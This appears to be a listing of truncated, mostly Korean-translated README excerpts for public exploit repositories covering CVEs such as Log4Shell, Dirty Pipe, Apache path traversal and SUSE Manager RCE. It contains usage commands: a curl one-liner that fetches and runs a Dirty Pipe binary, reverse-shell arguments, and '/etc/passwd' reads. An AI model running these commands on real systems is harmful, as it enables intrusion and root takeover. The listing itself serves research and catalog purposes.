CVE-2018-15473

CVE-2018-15473 이 저장소 https://github.com/Sait-Nuri/CVE-2018-15473/tree/main 의 업데이트 버전입니다. paramiko 버전 3.4.0에서 작동하도록 수정했습니다. 실행 방법 이 저장소를 클론합니다. git clone https://github.com/yZ1337/CVE-2018-15473.git 라이브러리 설치 pip3 install -r requirements.txt 목록 파일로 실행 예시 python3 CVE-2018-15473.py -w...

CVE-2025-46811

SUSE Manager Exploit Toolkit CVE-CVE-2025-46811 스캐너 및 익스플로이터 🚀 기능 멀티스레드 취약점 스캐닝 WebSocket을 통한 대화형 루트 셸 단일 명령 실행 모드 컬러 디버그 출력 대상의 일괄 처리 📦 설치 git clone https://github.com/yourusername/suse-manager-exploit.git cd suse-manager-exploit pip install -r requirements.txt 🛠 사용법 스캔 모드 python3 exploit.py sca...

cve-2024-0305exp

cve-2024-0305exp cve-2024-0305 사용 가능한 exp, 인용 시 출처를 밝혀주시기 바랍니다. 감사합니다! 0x01 제품 배경 Ncast Yingkeshi HD 지능형 녹화 시스템은 광저우 Yingkeshi 전자 기술 유한회사의 제품입니다. 이 시스템에는 RCE 취약점이 존재하며, 공격자는 이 취약점을 이용하여 임의 명령을 실행할 수 있습니다. 이를 통해 서버 권한을 획득하여 서버가 장악될 수 있습니다. 0x02 취약점 범위 Ncast 2007 Ncast 2017 0x03 취약점 검색 FOFA:...

CVE-2017-15950

CVE-2017-15950 脆弱性CVE-2017-15950（SyncBreeze XMLパーサーおよび/またはSync機能のスタックベースバッファオーバーフロー）のPoCエクスプロイト。 使用方法 XMLペイロードジェネレータを実行すると、スクリプトはSyncBreezeを使用してインポートするペイロードを含むXMLファイルxplSyncBreeze.xml を出力します。 python3 payloadgeneratorXMLCVE-2017-15950.py...

EXP_CVE-2018-19518

CVE-2018-19518 면책 조항 이 프로그램은 승인된 보안 테스트 및 연구 목적으로만 사용되어야 하며, 사용자는 사이버 보안법에 따라 합리적으로 사용해야 합니다. 사용자가 이 도구를 사용하여 불법 공격 등의 위법 행위를 저지른 경우, 작성자는 책임을 지지 않습니다. 사용 python CVE-2018-19518.py 目标ip 目标port shell-ip shell-port...

bad_io_uring

Bad IOuring https://www.blackhat.com/us-23/briefings/schedule/index.htmlbad-iouring-a-new-era-of-rooting-for-android-32243 익스플로잇 빌드하기 Android NDK가 설치되어 있는지 확인하세요. pixel 6의 경우, make pixel samsung s22의 경우, make s22 익스플로잇 사용 방법 익스플로잇은 다양한 커널 버전을 지원하도록 작성되었습니다. 다른 커널로 포팅하려면 대상 커널의 심볼 파일을 추출해야 합니다. 커널...

CVE-2018-17463

CVE-2018-17463 CVE-2018-17463에 대한 작동하는 익스플로잇을 재미로 완성했습니다. 이 버그에 대해 제가 찾은 원본 글은 http://phrack.org/papers/jitexploitation.html 에 있습니다. 저는 이 임의 읽기/쓰기를 완전히 작동하는 익스플로잇으로 바꾸고 싶었습니다. 또한 다음 논문에서 JIT 스프레이 기법을 배웠습니다. 흥미로운 읽을거리입니다. @inproceedingsgawlik2018sok, title=Sok: Make jit-spray great again,...

onionscan

What is OnionScan? OnionScan is a free and open source tool for investigating the Dark Web. For all the amazing technological innovations in the anonymity and privacy space, there is always a constant threat that has no effective technological patch - human error. Whether it is operational securi...

CVE-2020-1938-Clean-Version

CVE-2020-1938-Clean-Version CVE-2020-1938GhostCat 깨끗하고 읽기 쉬운 코드 버전 나...

sudo-CVE-2017-1000367

sudo-CVE-2017-1000367 http://www.openwall.com/lists/oss-security/2017/05/30/16 컴파일: gcc -o sudopwn sudopwn.c -lutil 면책 조항: 나는 내가 무엇을 하고 있는지 전혀 몰랐습니다 ;- 요구 사항 시스템은 selinux가 활성화되어 있어야 합니다 sudo는 selinux 지원으로 빌드되어야 합니다 sudo -r 사용자는 sudo 권한이 있어야 합니다. 예: "toor ALL=ALL NOPASSWD: /usr/bin/sum"...

f5scan

f5scan F5 BIG IP Scanner for CVE-2020-5902 - bt0 작성 취약점에 대한 자세한 정보: https://support.f5.com/csp/article/K52145254?sf235665517=1 요구 사항: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements 옵션 -h, --help show this help message and exit -H HOST, --host HOST IP or Hostname of targ...

java-stager

java-stager A PoC Java Stager which can download, compile, and execute a Java file in memory. This is for research purposes only, do not use this where you are unauthorised to do so. What is this? This is based on the work of James Williams from his talk "Next Gen AV vs My Shitty Code" available...

POC-CVE-2021-42013-EXPLOIT

-ff0055?style=for-the-badge&logo=python 🔥 CVE-2021-42013 Exploit Framework by Makaveli 💀 우주 다차원 해커 모드 활성화... 잘못 구성된 서버에서 Apache Path Traversal + RCE CVE-2021-42013 취약점을 탐지하고 악용하도록 설계된 고급 스캐닝, 익스플로잇 및 원격 상호 작용 도구입니다. --- ⚠️ 법적 경고 이 소프트웨어는 통제된 환경에서 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 이 도구를 시스템에 사용하는 것은...

log4j-shell-poc

log4shell-poc CVE-2021-44228 Log4j 취약점CVE-2021-44228, 일명 Log4Shell에 대한 개념 증명PoC 익스플로잇입니다. 이 도구는 악성 Java 클래스를 생성하고, LDAP 리퍼럴 서버를 시작하며, HTTP를 통해 페이로드를 제공하여 원격 공격자가 취약한 대상에서 임의의 명령을 실행할 수 있게 합니다. 기능 기본 바인드 IP로 로컬 IPv4 주소 자동 감지. 번들된 JDK 1.8.020 지원권장, 시스템 Java 폴백 포함. 인라인 리버스 셸 페이로드netcat 리스너로 다시 연결. 깔...

pysqli

PySQLi - 파이썬 SQL 인젝션 프레임워크 1. 개요 PySQLi는 복잡한 SQL 인젝션 취약점을 악용하기 위해 설계된 파이썬 프레임워크입니다. 고급 익스플로잇을 구축하는 데 사용하거나 상황에 맞게 쉽게 확장/개선할 수 있는 전용 빌딩 블록을 제공합니다. 2. 왜 또 다른 SQLi 프레임워크인가? 간단한 답: HTTP 요청 외에도 SQLi 취약점을 악용하는 다른 방법이 있기 때문입니다! 대부분의 사용 가능한 도구는 HTTP GET/POST 메서드에만 의존하며, 때로는 다른 메서드를 제공하기도 합니다. PySQLi는 파생...

CVE-2024-11320

CVE-2024-11320 Pandora FMS 원격 코드 실행CVE-2024-11320용 익스플로잇...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Linux 커널 권한 상승 취약점 POC 루트 셸을 획득하기 위한 간단한 개념 증명PoC입니다. $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

Dirty-Pipe

원라인 익스플로잇 CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2017-5123

CVE-2017-5123 PoC CVE-2017-5123 - LPE - SMEP/SMAP 우회. KASLR 없음 업스트림 커널의 waitid 구현은 정보 결과를 복사할 대상 목적지를 제한하지 않았습니다. 이로 인해 로컬 사용자가 보호된 커널 메모리에 쓸 수 있어 권한 상승으로 이어질 수 있습니다. 소개 이 간단한 분석에서는 root 권한을 얻을 수 있는 커널 취약점을 분석하겠습니다. 이 문서는 네 부분으로 구성됩니다: 1. VM 설정; 2. 취약점 분석; 3. 익스플로잇; 4. PoC. 이 CVE를 익스플로잇하는 더 좋은 방법...

Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution

Apache HTTP-서버 2.4.49-2.4.50 경로 탐색 및 원격 코드 실행 설명 이것은 CVE-2021-41773 및 CVE-2021-42013에 대한 PoC 스크립트입니다. 사용법: python3 exploit.py | 예시: 원격 코드 실행 python3 exploit.py 127.0.0.1 8080 rce 'id' 경로 탐색 python3 exploit.py 127.0.0.1 8080 file '/etc/passwd'...